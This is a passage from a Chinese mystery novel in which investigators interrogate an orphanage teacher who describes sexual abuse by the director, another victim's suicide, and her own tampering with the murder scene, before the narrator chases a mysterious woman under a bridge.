“他说,他可以扭曲事实,说不知道我有对象了,只当我是单身,所以我们是正常的恋爱关系,只不过我不满足现在的状况想要更进一步,所以诬陷他是猥亵的。” “就像对施恩一样……” “可笑吧?直到这时候,我才知道——” “原来他早在我们入职前,问我们是否谈恋爱,就是为了用这点反过头来拿捏我们,他压根没有处女情结,也不在乎我们究竟是不是处女,他只是想要我们闭嘴。” “我没有办法,只能选择放弃。” “我对他产生了警惕心,这也正和他的心意,反正总有年轻的小姑娘来应聘,源源不断……” “不过好在,有了新人,他自然就不会再来找我了。” “我松了口气,竟产生了‘这样也挺好的’的念头——” “我继续和我的男朋友谈着恋爱,假装什么事都没有发生。” “直到施恩报警,她找到了我们,想让我们陪她一起去。” “这怎么可能呢?!” “如果我答应了,不是变相的承认了自己也曾遭到过/强/奸吗?!要知道那时候我都快和我男朋友修成正果了。” “这么关键的时候,我怎么能让她破坏了!” “所以我拒绝了她……” “平心而论那段时间我一直提心吊胆的,直到她死了我才松了口气……” 向眠微微皱了皱眉。 她原本以为,作为性侵案的受害者,李薇即使不帮助施恩,也不至于狠下杀手。 但就目前的对话听来—— 为了掩盖这个秘密,她杀害施恩的可能性似乎也不小…… 所以她出声追问道:“那施恩真的是自杀吗?” 李薇像是没有想到向眠会这么问,她愣了下,才后知后觉地反应过来:“不是我!不是我!她是自杀的!” 像是怕向眠不相信似的,她又很认真地强调了遍:“她真的是自杀的,我只是在她找我的时候,拒绝了她,却没有想到过了几天,就看到她自杀了,吊死在了大礼堂那边,我真的没想到她会自杀的,如果我知道的话,我……” 说到这儿,她的话戛然而止,如果知道的话她会帮施恩呢? 其实她也心知肚明,自己并不会帮…… 但好像只要这么说了,心里会稍微好受一些? 宋立声按了按中指的骨节,问:“昨天晚上凶手离开现场,到今天早上警方接到报案这段时间里,你是不是去过案发现场,并且破坏了一部分凶手留下的线索?” 事到如今也没有什么好撒谎的了。 李薇点了点头,如实回答:“昨天太忙了,我的工牌不小心落在了大礼堂,所以我想着回去拿一下,谁知道我到的时候,却发现大礼堂的灯亮着,门还敞开着。” “明天才是家长接待日,在演出前都是需要保密的,所以一般这时候大门都是特意关上。我感觉有些不对劲,所以就多瞧了两眼。” “然后就看到王峰维的脖子上插了一把刀。” “他死了……” “讲句实话,他死了,我还是很开心的,但问题是我发现案发现场被凶手刻意布置成了‘/强/奸’的画作。” “进入孤儿院前,我也曾学过画画,所以这种一眼就能看出来的画作我还是知道的。” “而且我同样也知道,一旦画作被人发现,那么/强/奸的事情也会瞒不住,到时候所有在孤儿院工作过的小姑娘都会遭人指指点点,我和我男朋友的婚事也会告吹,所以我必须得瞒住这件事。” “我到工具室,拿了清理工具,想要擦掉那些痕迹。” “天知道我有多么多么希望他能够去死,有多么多么希望他遭万人唾骂,可是当他真正死了,他/强/奸/员工的事实即将曝光时,我的第一反应却是忙着帮他遮掩。” “像他这样的人就应该遗臭万年,可是我却还得帮他挽回名声。” “简直是天大的笑话,我清理到一半的时候,却突然听到了一阵欢快的儿歌,是欢迎家长来访孤儿院的音乐。” “但画作还没彻底被擦去,我知道没剩下多少时间了,所以我赶紧搬动了他的尸体,让他和画作分离,这样乍一眼看上去,那画作和他死亡本身就没有多大的关系了……” 李薇低垂着脑袋,讲述着她替凶手隐瞒真相的整个过程。 一时间,审讯室内静悄悄的,除了李薇忽高忽低的说话声,以及她时不时的颤抖,引得凳子发出轻微的声响外,没有其他的。 宋立声目光沉沉地盯着她看了眼,薄唇轻启:“那么去年,她父亲来孤儿院时,又发生了什么?” 说话间,他已经放下二郎腿,身子微微前倾,无形之中沾上了点压迫感,然后一字一句地问:“……他父亲意外坠楼里究竟藏着什么隐情?” “我是真的不清楚。虽然我是党昭的班主任,但是当天晚上我全程都在忙着哄小孩睡觉,并不知道究竟发生了什么。” 李薇皱眉回忆了会儿,补充了句:“只依稀记得,党昭半夜醒过来说要去洗手间,宿舍里不止他一个小孩,我不可能放着其他的小孩不管,陪他却卫生间。” “我本来打算让党昭自己去的,但党昭这个孩子,脑子有点问题,而且正好我想起来和我搭档的老师刚刚也说要去洗手间,所以我就让他跟着那个老师去,没想到会出这样的事情。” 她虽然并不知道事情的经过究竟是怎么样的,但这番话却揭开了施恩父亲死亡当晚的一个缺口。 宋立声趁胜追击地问:“和你搭档的老师叫什么名字?” 李薇抿了抿唇,在她说出“余听晚”三个字的时候,向眠却是下意识地皱了皱眉—— 居然又是她! 怎么会这么巧呢?! 她感觉自己仿佛置身于一个迷宫,无论她走哪条路,到最后都被一个叫“余听晚”的女生给挡住了出口。 她微微皱了皱眉,正当她不知道该怎么破解迷宫时,却听宋立声说:“还有一件事情需要你配合一下——” 宋立声眼神锐利地看向李薇:“把孤儿院所有的女性员工的姓名都给我写下来,挨个写,一个都别漏了。” 李薇深深地吸了一口,一个名字接着一个名字的说出了口:“余听晚、许若梅、吴颖、谭丽丽……” …… “……李薇,孙佳文。这他妈也忒多了吧,真是奇了怪了,她们这么多人 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“因为当时她们正处于热恋期或者刚刚结婚,感情正浓,再加上小村庄这方面比较闭塞,越是喜欢,就越不敢冒险赌一把,甚至连想都不敢想,做什么都变得小心翼翼。她们害怕惶恐到根本不敢让她们的对象知道,至于她们对象压根就不知道这件事,又何来的支持这一说呢。”宋立声说。 “怎么会?!”谢扶光满脸不可置信。 “撇开一切不确定的因素,剩下的最后一个原因,哪怕再怎么不可思议,也一定是案件的真相,不是吗?” 宋立声顿了顿,回过头看向向眠:“不过比起这个,还有一个更重要的问题需要请教一下向同学。” 向眠下意识的以为是和案件有关的线索之类的,然而她细细的回忆了一下,却又不记得自己遗漏了些什么,故而略带疑惑地问道:“什么?” 话音刚落,她就见宋立声不紧不慢地上前一步,走到了她的跟前:“曼陀罗绘画是心理疗愈的一种,‘以画为镜,照见自性’,不同的颜色代表着不同的情绪和心态。” 他一边说着,一边从口袋里拿出了一张折叠成方形的稿纸,慢条斯理地将稿纸铺开,干净整洁的A4纸上,是不久前和李薇相差无几的涂色卡。 只是相较于李薇的色彩,这张图上涂色更加细致,更是选用了较为温和的黄棕两色。 宋立声目光沉沉地看了两眼,而后将画稿推到了向眠的面前:“而向同学的这幅画里以棕色和黄色为主,代表着沉溺过去,以及浓重自责的情绪。” “那么困扰向同学的往事又是什么呢?” 宋立声低沉带着点诱哄意味的嗓音在她的耳畔响起来。 她微微皱了皱眉—— 是什么呢? 好像自从从医院病房里醒过来之后,就感觉哪里有些不对劲。 她似乎遗忘了什么,又似乎只是她的错觉…… 她想了好一会儿却迟迟没有想明白这其中的缘由,倒是困意阵阵袭来。 迷迷糊糊间,她仿佛听到了一阵脚步声。 那脚步声很急促,总觉得好像在哪里听到过。 她稍稍回忆了下,就立刻反应了过来—— 这不就是不久前在小巷里听到的脚步声吗! 难道会是在美术馆前见到的那名神秘女生?! 想到这儿,她忙追了出去,整个走廊很暗沉,连带着天空都是黑漆漆的,乌云蔽日。 不知道是因为已经傍晚的原因,还是她的错觉,她总觉得周围安静的有些不正常,像是突然按下了静音键。 她微微皱了皱眉,却没有多做停留,而是扶着把手,顺着那声音摸索着向前。 明明周围暗的看不清,明明她清晰的感觉到自己似乎正走在楼梯上,明明她走得很快,但却健步如飞,稳得很。 她一路跟着那名女生来到了一片桥下。 桥下很暗,透不进一丝光亮,显得格外的压抑。 不知道为什么,看到天桥的那一瞬间,她的心脏猛地一抽痛。 不等她细想,就看到一名女生向她走来。 她穿着一件棕色风衣,全身上下都包裹的严严实实的,桥边的红绿灯打在她的身上,映衬得她深棕色的眼眸泛着红色的光芒,显得格外的瘆人。 只一眼,向眠就认出了她—— 她猜的没错,果然是之前的那名神秘女生。 她飞快地追了上去,厉声质问:“你究竟是谁?!” 就在她以为那名女生还会像前几次一样偷偷溜走时,出乎意料的,那名女生却停在原地,缓缓回过了头。 她的神情很温和,但总给向眠一种说不出的诡异感。 她就这么静静地看着她,然后一点点地解开了风衣的领口。 直到这时,向眠才看清了她的真实容貌,她不可思议的僵在了原地,过了好一会儿才勉强找到了自己的声音:“这……这怎么可能呢?!”